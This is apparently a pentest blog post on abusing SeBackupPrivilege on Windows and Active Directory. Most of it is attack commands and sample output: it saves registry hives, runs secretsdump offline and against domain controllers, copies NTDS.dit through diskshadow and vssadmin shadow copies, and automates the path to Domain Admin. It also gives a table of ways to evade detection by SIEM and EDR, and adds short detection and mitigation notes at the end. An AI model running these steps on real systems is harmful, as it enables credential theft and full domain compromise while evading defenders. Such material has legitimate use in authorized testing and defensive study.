SeBackupPrivilege: Hash dump and full domain with SAM, SYSTEM and NTDS.dit

PrivEsc with SeBackupPrivilege on Windows and Active Directory: SAM, SYSTEM, and SECURITY extraction, offline dump with secretsdump, access to NTDS.dit, and real-world impact on compromised domains.
- Posted on 2026-05-26
- Reading time: 5 min
You have the credentials of an account in the Backup Operators group — no shell on the DC, no exploit. With SeBackupPrivilege and reg save Extract SAM, SYSTEM, and SECURITY files in 30 seconds. With an account in the Backup Operators group of domain, secretsdump delivers all AD hashes directly to you over the network.
Quick Exploit #
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive
reg save HKLM\SECURITY C:\temp\security.hiveOn attacking machine:
python3 secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCALExpected output:
Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::What is SeBackupPrivilege? #
The flag FILE_FLAG_BACKUP_SEMANTICS It allows you to open a file while completely bypassing the DACL for reading: the kernel doesn't check who owns it or what's in the ACL. Originally designed for backup software, in an attacker's hands it gives direct access to any protected file on the system.
Note: reg save e robocopy /B use backup API internally — they work even if the privilege appears Disabled in whoami /priv.
The domain Backup Operators group has privileges on all DCs in the domain — an account in that group can extract NTDS.dit over the network without ever opening a shell on the DC.
When it exists #
- Backup Operators local and domain
- Service account Veeam / Acronis / Backup Exec / Windows Server Backup
- Server Operators in Active Directory
- IT Account with explicit backup delegations
Verify:
whoami /privLooking for:
SeBackupPrivilege Back up files and directories EnabledVerify group membership:
net localgroup "Backup Operators"whoami /groups | findstr "Backup"Domain Backup Operators (run from any machine in the domain):
Get-ADGroupMember "Backup Operators" -Recursive | Select-Object Name, SamAccountNameWho has the privilege in the current system:
accesschk.exe -a SeBackupPrivilege *Step 1 — Extract SAM, SYSTEM, and SECURITY hives #
reg save This is the most direct method. It works even if the privilege is Disabled:
reg save HKLM\SAM C:\temp\sam.hivereg save HKLM\SYSTEM C:\temp\system.hivereg save HKLM\SECURITY C:\temp\security.hiveStep 2 — Extract hashes offline #
Transfer the three files to the attacker's machine and run secretsdump:
python3 secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCALOutput:
[*] Target system bootKey: 0x3c2b033e4f5e4a7e...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information:
CORP/DomainAdmin:$DCC2$10240#DomainAdmin#a8c4e5f3...
[*] Dumping LSA Secrets:
_SC_MSSQLSERVER
CORP\svc-sql:SomeServiceP@ss!You have local NTLM hashes, cached domain credentials, and LSA secrets (often cleartext service passwords).
Attack Chain #
Account Backup Operators compromesso (Veeam / account legacy / password spray)
→ whoami /priv → SeBackupPrivilege Enabled (o Disabled — reg save funziona comunque)
→ reg save HKLM\SAM + SYSTEM + SECURITY → secretsdump LOCAL → hash locali
oppure
→ secretsdump CORP/backupuser:Pass@DC01 → tutti gli hash AD → KRBTGT → Golden TicketTool Decision #
| Target | Method |
|---|---|
| Local hashes (current machine) | reg save → secretsdump LOCAL |
reg save monitored by SIEM | robocopy /B → same result, different pattern |
| NTDS.dit on the DC (locked file) | diskshadow → robocopy /B → secretsdump |
| Remote DC, no local shell | secretsdump CORP/user:pass@DC01 directly |
| Complete automation | BackupOperatorToDA.exe |
robocopy /B — stealth alternative to reg save #
Se reg save is monitored by SIEM or flagged by EDR, robocopy /B Use the same backup API with a different pattern:
robocopy /B C:\Windows\System32\config C:\temp sam system securityFiles are copied to C:\temp\ with their original names. Then secretsdump as above.
diskshadow — NTDS.dit on DC (file locked) #
NTDS.dit is locked by Active Directory while the DC is running. You must create a Volume Shadow Copy to access it.
Create the script file C:\temp\shadow.txt with this content:
set context persistent nowriters
add volume C: alias hackita
create
expose %hackita% Z:
exec cmd.exe /c robocopy /B Z:\Windows\NTDS C:\temp ntds.dit
delete shadows volume %hackita%
resetRun the script:
diskshadow.exe /s C:\temp\shadow.txtThen copy the SYSTEM hive (needed for decryption):
reg save HKLM\SYSTEM C:\temp\system.hiveFinally complete extraction of the domain:
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\system.hive LOCALOutput: all domain hashes → KRBTGT → Possible Golden Ticket.
vssadmin — alternative to diskshadow #
If diskshadow is blocked by GPO policy, use vssadmin directly:
vssadmin create shadow /for=C:The output shows the shadow copy path. Example output:
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1Use that path to copy the files:
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit" C:\temp\ntds.ditcopy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\temp\system.hiveThen secretsdump as above.
secretsdump over the network — no shell needed on the DC #
If the account is in the domain's Backup Operators group , secretsdump connects via authenticated SMB and manages everything remotely:
python3 secretsdump.py CORP/backupuser:Password123@DC01.corp.localIf Remote Registry is stopped, start it first:
python3 services.py CORP/backupuser:Password123@DC01.corp.local start RemoteRegistryThen rerun secretsdump. Output: all domain hashes, including KRBTGT.
BackupOperatorToDA — complete automation #
Automate the entire chain without manual steps:
BackupOperatorToDA.exe \\DC01 \\ATTACKER\share\Source and documentation: mpgn/BackupOperatorToDA
Common mistakes #
reg save → Access Denied — Token not elevated (UAC split). Verify with whoami /groups | findstr "Mandatory"If you see Medium Mandatory Level, open an elevated process.
secretsdump via network → “Registry service not started” — Remote Registry stopped on the DC. Start it with: python3 services.py CORP/user:pass@DC01 start RemoteRegistry or sc \\DC01 start RemoteRegistry.
SAM and SYSTEM decrypt, but the hashes appear empty — The two files were extracted at different times (boot key changed). Re-extract both files together in the same session.
diskshadow blocked by GPO - USA vssadmin create shadow /for=C: Alternatively, the shadow copy path appears in the output.
Detection and bypass (Red Team view) #
| What the Blue Team detects | How the Red Team bypasses it |
|---|---|
| Event ID 4663 — accessed SAM/NTDS.dit | Usa robocopy /B instead of reg save — less common pattern in rulesets |
| Event ID 7036 — VSS started out of hours | Run the dump during the legitimate backup time window |
reg save HKLM\SAM from non-standard accounts | Rename operation using PowerShell native API instead of reg save |
| secretsdump via network — abnormal SMB connection | Run from a machine already in the domain with whitelisted IP |
Real-world scenarios #
Veeam service account —almost always in the Backup Operators group. Credentials found in a config file or via password spray. reg save → local hashes → lateral movement across the entire managed infrastructure.
Domain Backup Operators — zero shell on the DC. secretsdump CORP/backupuser:Password@DC01 → all AD hashes → KRBTGT → Golden Ticket.
Legacy backup account — created years ago, password never expires, never reviewed. A classic finding in enterprise pentests.
When it fails #
reg save→ Access Denied → non-elevated token (split UAC). Verify withwhoami /groups | findstr "Mandatory"— Medium Mandatory Level means you must elevate.- secretsdump via network → “Registry service not started” → Remote Registry stopped. Start it with
services.pyosc \\DC01 start RemoteRegistry. - SAM and SYSTEM extracted at different times → the boot key changes → secretsdump doesn't decrypt. Re-extract both at the same time.
- diskshadow blocked by GPO → use
vssadmin create shadowas an alternative.
Detection #
- Event ID 4656: handle to file with flag
BACKUP_SEMANTICS - Event ID 4663: access to SAM, NTDS.dit, SECURITY hive from non-standard accounts
- Event ID 7036: VSS started out of scheduled backup time
reg save HKLM\SAMrun by non-administrative accounts
Mitigations #
- Restrict the Backup Operators group with periodic review:
Get-ADGroupMember "Backup Operators" -Recursive - Separate Local Backup Operators from Domain Backup Operators — completely different impact
- gMSA for Veeam, Acronis, NetBackup service accounts
- Event ID 4663 alert for access to SAM/NTDS.dit from non-standard accounts
Realistic note: Enterprise backup software (Veeam, Acronis) requires the Backup Operators group to function properly. In most enterprise customers, these accounts exist, are not audited, and have non-expiring passwords. They are among the most lucrative targets in an AD pentest.
FAQ #
Are Domain Backup Operators the same as Domain Admin? Basically, yes. You can extract NTDS.dit, get KRBTGT, and create Golden Tickets. You can't modify AD objects directly, but with KRBTGT, that distinction is academic.
reg save does it work even if the privilege is Disabled?
Yes — it uses the backup API internally and activates it automatically. Disabled is not a blocker. reg save e robocopy /B.
Can I also write to files with SeBackupPrivilege? No—only read. Writing requires SeRestorePrivilege . Backup Operators have both by default.
SeBackupPrivilege is not locally escalated—it's the key to all hashes in an Active Directory domain, accessible without a shell on the DC. With KRBTGT in hand, the domain is compromised indefinitely until a double password reset.
Related articles:
- SeRestorePrivilege — the complement: Arbitrary write bypass ACL
- SeDebugPrivilege — alternate credential dump via LSASS memory
- SeMachineAccountPrivilege — another path to DA without elevated privileges
References: BackupOperatorToDA · Impacket · Microsoft Docs
To assess the actual exposure of your backup accounts: hackita.it/servizi








